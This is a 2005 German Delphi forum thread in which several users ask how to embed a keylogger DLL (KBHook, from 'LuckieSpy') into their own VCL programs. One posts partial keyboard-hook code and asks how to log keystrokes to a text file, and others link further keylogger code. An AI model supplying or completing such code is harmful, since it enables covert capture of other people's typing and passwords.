Autor Beitrag
com-chip
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 27

Win 98
D7 Personal
BeitragVerfasst: Sa 29.01.05 18:38 
Nein, war nicht so schlimm. Wo du schon mal da bist, du bist doch der Programmierer, oder??

Wie kriege ich die Datei in eine normale Anwendung?? Ich habe den Quelltext schon komlett in die Unit1.pas kopiert (bei einer VCL standardabwendung ohne API), doch jedesmal wenn dass Programm starten soll, öffnet es erst den Keylogger, und dann wenn ich ihn geschlossen habe (also deine Anwendung), geht meine erst auf. Kann ich nicht einfach auf meinem Formular ein Memo platzieren in dem dann der Text steht?? Aber wie muss ich dann das einstellen das er darein kommt?? Bitte helf mir. Das Programm ist aber klasse und der Code. Nur brauche ich nicht das zum erstellen des Formulars, sondern halt nur das damit die Zeichen in mein eigenes Memo kommen. Das wird ja nur eine kleine Passage sein die ich umprogrammieren muss, aber wie heißt es so schön, man findet den Wald vor lauter Bäumen kaum... Bitte helf mir, danke! :cry:
Karlson
ontopic starontopic starontopic starontopic starontopic starofftopic starofftopic starofftopic star
Beiträge: 2088



BeitragVerfasst: Sa 29.01.05 19:00 
@com-chip: Nimms mir nicht übel, aber bevor du so einen Kram probierst würde ich erstmal programmieren lernen :roll:
com-chip
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 27

Win 98
D7 Personal
BeitragVerfasst: Sa 29.01.05 19:16 
Genau deswegen will ich es ja wissen, "wer nicht fragt bleibt dumm". Ich habe leider überwiegend Ahnung von VCL. Mit API habe ich noch nicht so viel zu tun gehabt. Aber wenn es so einfach ist, dann sag du mir wie es geht. Sollte ja in 5 Minuten fertig sein. Einfach oben das Archiv ruterladen (siehe link), dann die dll einbinden und die paar Zeilen dafür schreiben. Ich wäre dir dafür echt dankbar.
F34r0fTh3D4rk
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 08.02.05 21:42 
ich verstehe den aufruf net so ganz, also der hook, wird extern aus der dll aktiviert ?

ich hab so meine probleme mit non-vcl weil das imma so viel code is.

könnt ihr nich mal n beispielcode geben, in der die tasten, stur, wie sie kommen in eine datei geschrieben werden ?
also so wenig code wie möglich und mit vielen erklärungen, weil bis jetzt krieg ich das net hin :(

also ich habe das bis jetzt so:
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
unit UMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

type
  PHWND = ^HWND;

const
  WM_KEYBOARD_HOOK = WM_USER + 52012;

var
  Form1: TForm1;
  hHook: LongWord = 0;
  Key: Word;
  KeyboardLayout: HKL;
  GetShiftKeys: Boolean;
  hWndBuffer: PHWND;
  hMMF: THandle;

implementation

{$R *.dfm}

function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  LastKey: Char;
  KeyState: TKeyboardState;
begin
  Result:=CallNextHookEx(hHook,nCode,wParam,lParam);
  if nCode<0 then
    Exit
  else begin
    KeyboardLayout:=GetKeyboardLayout(0);
    GetKeyboardState(KeyState);
    if ToAsciiEx(wParam,MapVirtualKeyEx(wParam,2,KeyboardLayout),KeyState,@LastKey,0,KeyboardLayout)>0 then
      Key:=Ord(LastKey)
    else
      Key:=wParam;
    if (lParam and $80000000)=0 then
      if not (wParam in [16,17,18]) or GetShiftKeys then
        PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetActiveWindow);
  end;
end;

function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; external 'KBHook.dll';
function DeleteHook: Boolean; external 'KBHook.dll';

end.

Aber wie mache ich jetzt mit diesen funktionen, zB dass er bei formcreate anfängt die keys in ne TXT Datei zu loggen und dann bei close aufhört (wenn der code bis jetzt überhaupt richtig ist :))
retnyg
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 2754

SNES, GB, GBA, CPC, A500, 486/66, P4/3.0HT: NintendOS, AmigaOS, DoS
Delphi 5, Delphi 7
BeitragVerfasst: Fr 11.02.05 05:29 
habe ich das hier richtig mitbekommen ?
luckie hat jedesmal den link geändert wenn hier ein neuer hardlink aufgetaucht ist ?
damit man den code auf seiner seite selber suchen muss ?

sonderbares verhalten... in den regeln steht doch dass man in diesem forum einen funktionierenden link anbieten muss.
Luckie
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Fr 11.02.05 05:56 
retnyg hat folgendes geschrieben:
habe ich das hier richtig mitbekommen ?
luckie hat jedesmal den link geändert wenn hier ein neuer hardlink aufgetaucht ist ?

Wo habe ich jedes mal den Hardlink geändert?

Zitat:

sonderbares verhalten... in den regeln steht doch dass man in diesem forum einen funktionierenden link anbieten muss.

Kann sein, dass Links nicht mehr stimmen, da ich mir die Freiheit genommen habe meine Homepage umzustrukturieren. Da ich aber nicht weiß, wo und wann ich welchen Link gepostet habe und ich keine Lust habe alle Foren und Internetseiten zu durchsuchen, die Links auf Inhalte meiner Homepage beinhalten, dürfte es nur normal sein, dass ein paar Broken Links darunter sind. Deswegen halte ich es auch für etwas ungünstig Direktlinks angeben zu müssen. Desweiteren wäöre es mir sowieso nicht möglich, Links in Postings von anderen zu korrigieren. Und der Link im Ausgangsposting funktioniert. Warum also diese Aufregung?

Aber wie wäre es, wenn man die betreffendne Person in einer Pn oder E-Mail darauf hinweistm, anstatt hier rumzublöken?
Luckie
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Fr 11.02.05 06:17 
Sorry, wegen dem "rumblöken" war nicht so gemeint. Jedenfalls habe ich die Links nie absichtlich geändert.
retnyg
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 2754

SNES, GB, GBA, CPC, A500, 486/66, P4/3.0HT: NintendOS, AmigaOS, DoS
Delphi 5, Delphi 7
BeitragVerfasst: Fr 11.02.05 06:27 
jo tschuldige, dachte der thread wär neu. dabei is der von 2k3 ^^
Lesco
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 42



BeitragVerfasst: Mo 21.03.05 14:50 
ich hab mal wieder nen prob mit d8
wenn ich die KBHook compilieren will sagt er:
Die Prozedurendefinition muss ILCODE-Aufrufkonvention sein

was hat das zu bedeuten?
Luckie
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Mo 21.03.05 14:59 
Du weißt, dass D8 nur .NET Code erstellen kann, die DLL aber reiner WinAPI Code ist?
delfiphan
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 2684
Erhaltene Danke: 32



BeitragVerfasst: Mo 21.03.05 15:01 
(Mit Delphi 2005 kann man doch auch Win32 Programme schreiben...)
Lesco
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 42



BeitragVerfasst: Mo 21.03.05 15:04 
also keine möglichkeit diese dll zu verwenden?
Luckie
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Mo 21.03.05 15:07 
user profile icondelfiphan hat folgendes geschrieben:
(Mit Delphi 2005 kann man doch auch Win32 Programme schreiben...)

Das hat auch niemand bestritten Nur:
Lesco hat folgendes geschrieben:

ich hab mal wieder nen prob mit d8

Wer lesen kann, ist im Vorteil.
Karlson
ontopic starontopic starontopic starontopic starontopic starofftopic starofftopic starofftopic star
Beiträge: 2088



BeitragVerfasst: Mo 21.03.05 17:53 
user profile iconLesco hat folgendes geschrieben:
also keine möglichkeit diese dll zu verwenden?


Nein, aber wenn du D8 legal erworben ist muss da meines Wissens auch D7 dabei sein.
syrious
Hält's aus hier
Beiträge: 10



BeitragVerfasst: Di 26.04.05 18:19 
Hi. Warum ist das Form von LuckieSpy nicht im Source-Ordner dabei? In der DPR steht doch dass die Modifizierung erlaubt ist :( . Wenn Ihr das Form nicht veröffentlichen wollt, würd ich mich über dessen Namen freuen.
Lesco
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 42



BeitragVerfasst: Di 26.04.05 18:23 
das is doch imho als resource dabei
100% von Luckies Progs sind glaub ich non-vcl, d.h keine Formulare, keine Vcl
syrious
Hält's aus hier
Beiträge: 10



BeitragVerfasst: Di 26.04.05 18:43 
Könnte man das irgendwie auf VCL biegen :roll: *keinahnunghab*
retnyg
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starofftopic star
Beiträge: 2754

SNES, GB, GBA, CPC, A500, 486/66, P4/3.0HT: NintendOS, AmigaOS, DoS
Delphi 5, Delphi 7
BeitragVerfasst: Di 26.04.05 18:46 
hier wäre ein keylogger code den du leicht in deine vcl-app einfügen kannst: www.delphi-forum.de/...der=asc&start=15

_________________
es gibt leute, die sind genetisch nicht zum programmieren geschaffen.
in der regel haben diese leute die regel...
syrious
Hält's aus hier
Beiträge: 10



BeitragVerfasst: Di 26.04.05 18:54 
danke für die schnellen Antworten. Ich probiers mal aus...kann ne Weile dauern :wink:
Harry M.
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 754

Win 2000, XP
D2005
BeitragVerfasst: Di 26.04.05 19:06 
user profile iconsyrious hat folgendes geschrieben:
Könnte man das irgendwie auf VCL biegen :roll: *keinahnunghab*
ich empfhele dir die tuts von luckie und assabard zu diesem thema. keine ahnung haben aber sowas coden wollen.... muß das funktionsprinzip solcher software gänzlich jedem zugänglich gemacht werden?? :roll:

_________________
Gruß Harry
Et spes me per dies sine te ducat et amor me ferat, si dolor spem tollit.